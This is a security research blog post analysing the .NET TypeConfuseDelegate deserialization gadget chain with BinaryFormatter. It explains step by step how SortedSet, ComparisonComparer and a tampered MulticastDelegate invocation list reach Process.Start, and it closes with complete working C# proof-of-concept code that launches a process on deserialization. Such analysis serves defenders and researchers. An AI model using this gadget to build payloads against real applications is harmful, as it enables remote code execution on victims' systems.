Skip to the content.
18 July 2022

Analyze .NET deserialization: TypeConfuseDelegate gadget chain with BinaryFormatter

by Quang Vo

Introduction

TypeConfuseDelegate is a gadget chain take advantage of SortedSet class calls the comparator class to sort while deserializing, which is an input that attacker can controls and multicast delegate can modify the characteristics of delegate instance to trigger code execution during deserialization process.

In this blog, we will have 2 main sections:

1. About SortedSet class

In its simplest form, SortedSet take a comparator as an input, and then you call Add to add elements that you want to compare to sort

// Create a sorted set using the ByFileExtension comparer.
var set = new SortedSet<string>(new ByFileExtension());
set.Add("hello.a");
set.Add("hello.b");

In the code above, ByFileExtension is a comparator which is inherited from IComparer<T> interface

image

In this interface, it defines a method int Compare(T x, T y) . This method is used to compare 2 objects that have the same Type.

When we call Add(T x) for the first time, the comparator won’t be called, only after the second call to Add(T x), the comparator will be called ( gotta need something to compare with right ? :D )

Comparer class and ComparisonComparer type

Compaerer<T> implements ICompare<T> interface, in this class, we will focus on Comparer.Create() function because that is we want to create a comparator as an input for SortedSet class

Comparer source code:

image Comparer.Create() returns a ComparisonComparer<T> type

image

As you can see, ComparisonComparer<T> implements Serializable attribute and it inherited from Comparer<T> class, so in here we have a class that:

Please take note of this class as it will become very important for our gadget chain.

We will focus on the function that it uses to compare:

 public override int Compare(T x, T y)
 {
    return this._comparison(x,y);
 }

Where this._comparison has a type Compasion<T> and the type is passed in at initilization time. Let’s take a deeper look at Comparison<T> type

 public delegate int Comparison<in T>(T x, T y);

Its function signature is the same as Comparison function and method in IComparer<T> interface.

Sortedset OnDeserialization callback

image

IDeserializationCallback interface defined OnDeserialization method which is automatically called during deserialization process, it’s like magic method

In SortedSet.OnDeserialization() implementation, we can see:

So during deserialization process, when SortedSet<T> trigger sort, it will call the comparison function in the comparator after we call Add more than 2 times.

Idea to craft RCE payload:

Because we can control the comparison function input, we can also control the elements that we want to Add(). If we can set the comparison function to Process.Start() . We can achieve code execution

public static Process Start(string fileName, string arguments)
{
	 return Process.Start(new ProcessStartInfo(fileName, arguments));
}

Process.Start() function return Process type, if we replace comparison function with Process.Start() function, it will throw error and cause serialization failure

So how do we overcome this problem ?. Turn out, we can replace the calling function with a MulticastDelegate.

2. About MulticastDelegate to TypeConfuseDelegate gadget chain

Here is the code that use MulticastDelegate as an input for SortedSet class. image

Let’s break it down to see what’s the magic behind all this:

MulticastDelegate is a multicast delegation, there are 2 type of delegates in C#: Single and Multicast

In here, we call MulticastDelegate.Combine() , it will merge all the delegates with the same type into 1 delegate instance ( see more here). When the multicast delegate is called, it invokes the delegates in the list, in order.

MulticastDelegate.Combine() will call MulticastDelegate.CombineImpl() internally, the function implementation is lengthy but we just need to pay attention on a few things

		protected sealed override Delegate CombineImpl(Delegate follow)
		{
			if (follow == null)
			{
				return this;
			}
			if (!Delegate.InternalEqualTypes(this, follow))
			{
				throw new ArgumentException(Environment.GetResourceString("Arg_DlgtTypeMis"));
			}
			MulticastDelegate multicastDelegate = (MulticastDelegate)follow;
			int num = 1;
			object[] array = multicastDelegate._invocationList as object[];
			if (array != null)
			{
				num = (int)multicastDelegate._invocationCount;
			}
			object[] array2 = this._invocationList as object[];
			int num2;
			object[] array3;
			......

There are 2 important fields: _invocationList and _invocationCount

This function create a new array by extracting delegate instances from _invocationList

object[] array = multicastDelegate._invocationList as object[]

and then the function return new MulticastDelegate variable.

Looking at the code that I showed above, we are combining 2 Comparison objects with delegate type, and then we pass it to the TypeConfuseDelegate function where we will modify the content of _invocationList.

Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);

TypeConfuseDelegate(c);

In TypeConfuseDelegate function, by using System.Reflection , we extract the field _invocationList from MulticastDelegate and replace it with a delegate instance new Func<string, string, Process>(Process.Start) which is also a object type, so MulticastDelegate won’t complain about types mismatched.

object[] invoke_list = comp.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);

I will place a breakpoint during the code execution to show you before and after we modify the _invocationList element

Before: image

As you can see, our combined delegate instance c has 2 elements in _invocationList array, they are both Comparison objects because we called Combine(d,d)

After: image

And then when we call Add() to add 2 string objects to trigger compare function

 SortedSet<string> set = new SortedSet<string>(comp);
 set.Add("calc");
 set.Add("adummy");

image

Where this.comparer is ComparisonComparer object that we passed to SortedSet class, after calling this.Add(array[i]), it will call this.comparer.compare(x,y) which will lead us to: image

Now, remember what I said earlier: The multicast delegate contains a list of the assigned delegates (_invocationList). When the multicast delegate is called, it invokes the delegates in the list, in order.

Our ComparisonComparer is a MulticastDelegate with _invocationList contains our Process.Start() function that we modified earlier. During the function execution, it will eventually leads us to our final sink:

image

Full code:

using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Threading.Tasks;

namespace DeserialzationGadgetAnalysis
{
    public class Program
    {
        static void TypeConfuseDelegate(Comparison<string> comp)
        {
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
                    BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = comp.GetInvocationList();
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(comp, invoke_list);
        }

        static void Main(string[] args)
        {

    
            Delegate d = new Comparison<string>(String.Compare);
            Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
    
            IComparer<string> comp = Comparer<string>.Create(c);

            SortedSet<string> set = new SortedSet<string>(comp);
            set.Add("calc");
            set.Add("adummy");

            TypeConfuseDelegate(c);

            BinaryFormatter bf = new BinaryFormatter();
            BinaryFormatter bf2 = new BinaryFormatter();
            MemoryStream ms = new MemoryStream();
            bf.Serialize(ms, set);
            ms.Position = 0;

            bf2.Deserialize(ms);

        }
    }
}

tags: .net,c#, - deserialization